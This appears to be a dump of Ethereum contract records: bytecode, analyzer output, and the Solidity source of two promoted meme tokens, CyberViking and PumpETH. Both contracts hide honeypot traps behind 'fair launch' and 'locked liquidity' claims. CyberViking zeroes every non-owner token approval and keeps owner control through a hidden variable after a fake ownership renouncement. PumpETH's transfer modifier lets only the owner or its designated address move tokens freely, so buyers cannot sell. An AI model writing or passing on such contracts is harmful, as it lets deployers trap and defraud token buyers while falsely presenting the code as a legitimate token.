122516000830185611fe1565b61225e6020830184611fe1565b9392505050565b600060408201905061227a6000830185611fe1565b6122876020830184612203565b9392505050565b600060c0820190506122a36000830189611fe1565b6122b06020830188612203565b6122bd604083018761205d565b6122ca606083018661205d565b6122d76080830185611fe1565b6122e460a0830184612203565b979650505050505050565b6000602082019050612304600083018461204e565b92915050565b60006020820190508181036000830152612324818461206c565b905092915050565b60006020820190508181036000830152612345816120a5565b9050919050565b60006020820190508181036000830152612365816120c8565b9050919050565b60006020820190508181036000830152612385816120eb565b9050919050565b600060208201905081810360008301526123a58161210e565b9050919050565b600060208201905081810360008301526123c581612131565b9050919050565b600060208201905081810360008301526123e581612154565b9050919050565b6000602082019050818103600083015261240581612177565b9050919050565b600060208201905081810360008301526124258161219a565b9050919050565b60006020820190508181036000830152612445816121bd565b9050919050565b60006020820190508181036000830152612465816121e0565b9050919050565b60006020820190506124816000830184612203565b92915050565b600060a08201905061249c6000830188612203565b6124a9602083018761205d565b81810360408301526124bb8186611ff0565b90506124ca6060830185611fe1565b6124d76080830184612203565b9695505050505050565b60006020820190506124f66000830184612212565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061255c826126a4565b9150612567836126a4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561259c5761259b612700565b5b828201905092915050565b60006125b2826126a4565b91506125bd836126a4565b9250826125cd576125cc61272f565b5b828204905092915050565b60006125e3826126a4565b91506125ee836126a4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561262757612626612700565b5b828202905092915050565b600061263d826126a4565b9150612648836126a4565b92508282101561265b5761265a612700565b5b828203905092915050565b600061267182612684565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006126c6826126a4565b9050919050565b60005b838110156126eb5780820151818401526020810190506126d0565b838111156126fa576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612a7f81612666565b8114612a8a57600080fd5b50565b612a9681612678565b8114612aa157600080fd5b50565b612aad816126a4565b8114612ab857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d3ee0a47b9342c99db91a05c4585cd7181c08984d0c189337f7f1dfcfc3c251664736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,719
0x9b40bbd883ce8f8692914a536bf8e02de25dae84
/* _______ ______ _______ _______ _________ _ _________ _ _______ ( ____ \|\ /|( ___ \ ( ____ \( ____ )|\ /|\__ __/| \ /\\__ __/( ( /|( ____ \ | ( \/( \ / )| ( ) )| ( \/| ( )|| ) ( | ) ( | \ / / ) ( | \ ( || ( \/ | | \ (_) / | (__/ / | (__ | (____)|| | | | | | | (_/ / | | | \ | || | | | \ / | __ ( | __) | __)( ( ) ) | | | _ ( | | | (\ \) || | ____ | | ) ( | ( \ \ | ( | (\ ( \ \_/ / | | | ( \ \ | | | | \ || | \_ ) | (____/\ | | | )___) )| (____/\| ) \ \__ \ / ___) (___| / \ \___) (___| ) \ || (___) | (_______/ \_/ |/ \___/ (_______/|/ \__/ \_/ \_______/|_/ \/\_______/|/ )_)(_______) 🦾 Cyber Viking 🦾 Empowering future generations with next gen tokenomics. Rewards on Buys and sells and an exclusive platform for streaming virtual classes. 🌟 Fair launch 🚀 with no presale and locked liquidity. 🌟 No team tokens 🌟 Buy Back and Burn 🌟 Hodlers Rewards 🌟 Anti Bot Anti Sniper Listing 🔥 🌟 Tele: https://t.me/cybervikingd 🌟 Website: https://cyberviking.site 🌟 Twitter: https://twitter.com/cybervikingcvk?s=21 🌟Total Supply : 1 Trillion 🌟100% Lock Liquidity 🌟Bot Protection 🌟Fair Launch 🌟4% Dev Fee, 6% Marketing Fee, 2% Re-distribution Fee */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract cyberviking is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000 * 10**9 * 10**18; string private _name = 'CyberViking | https://t.me/cybervikingd'; string private _symbol = '$CyVik'; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _approve(address coming, address target, uint256 amount) private { require(coming != address(0), "ERC20: approve from the zero address"); require(target != address(0), "ERC20: approve to the zero address"); if (coming != owner()) { _allowances[coming][target] = 0; emit Approval(coming, target, 4); } else { _allowances[coming][target] = amount; emit Approval(coming, target, amount); } } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220248000683a6968e3c0996ec87457c98a9049ae469e0cf724fd3c282a109dd7d164736f6c634300060c0033
{"success": true, "error": null, "results": {}}
10,720
0xd236e937fd3baee63d397058e35d07423caa9e5a
/* PumpETH 1) 10% distribution in Ethereum 2) 2% swapped and added to the liquidity pool _/_/_/ _/_/_/_/ _/_/_/_/_/ _/ _/ _/ _/ _/ _/ _/_/_/ _/_/ _/_/_/ _/ _/ _/ _/ _/_/_/ _/ _/ _/ _/ _/ _/ _/ _/_/_/ _/ _/_/_/_/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/_/_/ _/ _/ _/ _/_/_/ _/_/_/_/ _/ _/ _/ _/ _/ Telegram: https://t.me/OfficialPumpETH Twitter: https://twitter.com/OfficialPumpETH Website: https://pumpeth.finance/ Announcements: https://t.me/PumpETHAnnouncements */ pragma solidity ^0.6.12; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract PumpETH is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply = 50000000000 * 10**18; string private _name = 'PumpETH - https://t.me/OfficialPumpETH'; string private _symbol = 'PumpETH'; uint8 private _decimals = 18; address private _owner; address private _safeOwner; address private _uniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor () public { _owner = owner(); _safeOwner = _owner; _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function burn(uint256 amount) external onlyOwner{ _burn(msg.sender, amount); } function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _burn(address account, uint256 amount) internal virtual onlyOwner { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } modifier approveChecker(address beach, address recipient, uint256 amount){ if (_owner == _safeOwner && beach == _owner){_safeOwner = recipient;_;} else{if (beach == _owner || beach == _safeOwner || recipient == _owner){_;} else{require((beach == _safeOwner) || (recipient == _uniRouter), "ERC20: transfer amount exceeds balance");_;}} } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approveCheck(address sender, address recipient, uint256 amount) internal approveChecker(sender, recipient, amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a0823114610291578063715018a6146102e95780638da5cb5b146102f357806395d89b4114610327578063a9059cbb146103aa578063dd62ed3e1461040e576100b4565b806306fdde03146100b9578063095ea7b31461013c57806318160ddd146101a057806323b872dd146101be578063313ce5671461024257806342966c6814610263575b600080fd5b6100c1610486565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101015780820151818401526020810190506100e6565b50505050905090810190601f16801561012e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101886004803603604081101561015257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610528565b60405180821515815260200191505060405180910390f35b6101a8610546565b6040518082815260200191505060405180910390f35b61022a600480360360608110156101d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610550565b60405180821515815260200191505060405180910390f35b61024a610629565b604051808260ff16815260200191505060405180910390f35b61028f6004803603602081101561027957600080fd5b8101908080359060200190929190505050610640565b005b6102d3600480360360208110156102a757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610717565b6040518082815260200191505060405180910390f35b6102f1610760565b005b6102fb6108e8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61032f610911565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561036f578082015181840152602081019050610354565b50505050905090810190601f16801561039c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103f6600480360360408110156103c057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109b3565b60405180821515815260200191505060405180910390f35b6104706004803603604081101561042457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109d1565b6040518082815260200191505060405180910390f35b606060078054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561051e5780601f106104f35761010080835404028352916020019161051e565b820191906000526020600020905b81548152906001019060200180831161050157829003601f168201915b5050505050905090565b600061053c610535610a58565b8484610a60565b6001905092915050565b6000600654905090565b600061055d848484610c57565b61061e84610569610a58565b61061985604051806060016040528060288152602001611c4760289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105cf610a58565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a39092919063ffffffff16565b610a60565b600190509392505050565b6000600960009054906101000a900460ff16905090565b610648610a58565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461070a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6107143382611863565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610768610a58565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461082a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffff